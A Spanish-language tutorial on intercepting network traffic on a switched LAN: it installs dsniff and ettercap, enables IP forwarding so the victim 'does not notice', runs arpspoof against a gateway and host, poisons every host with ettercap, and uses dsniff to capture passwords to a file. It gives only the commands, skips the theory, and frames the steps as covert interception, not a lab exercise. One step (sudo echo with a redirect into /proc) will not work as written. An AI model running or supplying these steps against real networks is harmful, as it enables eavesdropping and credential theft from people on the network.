Dsniff es uno de los conjuntos de herramientas de detección de paquetes disponibles gratuitamente más completos y potentes para capturar y procesar información de autenticación. Su funcionalidad y numerosas utilidades la han convertido en una herramienta común utilizada por los atacantes para rastrear contraseñas e información de autenticación de las redes.
Un conmutador de red no reenvía paquetes a todos en la red de la misma manera que lo hace un concentrador de red, por lo que, en teoría, una persona en la red no puede ver el tráfico de otra persona. Sin embargo, hay formas de superar este problema, que es mediante la suplantación de identidad de arp.
Olfateador
Esta publicación solo discutirá cómo se hace sin discutir la teoría detrás del proceso. Para empezar es instalar el programa necesario, que en este caso es el paquete dsniff que contiene el programa arpspoof que necesitamos. En Ubuntu o cualquier otra distribución basada en Debian, se puede instalar con el comando apt-get de la siguiente manera;
Instalando (Ubuntu)
$ sudo apt-get install dsniff
Habilitar el reenvío de IP
Para asegurarse de que el tráfico se reenvía al destino real cuando llega a nuestra máquina, se debe ejecutar el siguiente comando;
$ sudo echo 1 > /proc/sys/net/ipv4/ip_forward
Esto asegurará que la conexión de la máquina de destino no se desconecte y nadie debería darse cuenta de lo que estamos haciendo.
Ejecutar suplantación de ARP
El siguiente comando le dirá a la puerta de enlace "Soy 192.168.0.100", y el siguiente comando le dirá a 192.168.0.100 "Soy la puerta de enlace"
$ sudo arpspoof 192.168.0.100 -t 192.168.0.1 $ sudo arpspoof 192.168.0.1 -t 192.168.0.100
Con esto, todo el tráfico que se supone que debe ir a la puerta de enlace desde la máquina, y viceversa, pasará primero por nuestra máquina y solo luego se reenviará al objetivo real. Con esto podemos ejecutar cualquier herramienta de análisis de paquetes como tcpdump o wireshark.
Ettercap
Sin embargo, existen programas para simplificar todo el proceso. Uno de los programas favoritos para esto es ethercap. Ettercap también puede realizar suplantación de identidad arp, entre muchas otras características que tiene. En Ubuntu, el paquete se llama ettercap-gtk;
Instalando (Ubuntu)
$ sudo apt-get install ettercap-gtk
Ejecutar suplantación de ARP (GUI)
Ejecutar el programa con el modificador -G lo ejecutará en GTK en lugar de en ncurses.
$ sudo ettercap -G
En el menú, elige lo siguiente;
Sniff -> Unfied sniffing
Y cuando se le solicite, elija la interfaz de red que se utilizará. Normalmente sería eth0
Network Interface: eth0
En el menú nuevamente, elija lo siguiente para agregar todos los hosts en la red a la lista
Hosts -> Scan for hosts
Y siguiendo lo siguiente, se realizará la suplantación de arp para todos en la red
Mitm -> Arp poisoning -> Ok Start -> Start sniffing
Ejecutar suplantación de ARP (comando)
El siguiente comando hará lo mismo que el ejemplo anterior, en un solo comando;
$ sudo ettercap -q -T -M arp // //
Ejemplos de comandos dsniff
1. Para monitorear la red en busca de protocolos inseguros:
# dsniff -m [-i interface] [-s snap-length] [filter-expression]
2. Para guardar los resultados en una base de datos, en lugar de imprimirlos:
# dsniff -w gotcha.db [other options...]
3. Para leer e imprimir los resultados de la base de datos:
# dsniff -r gotcha.db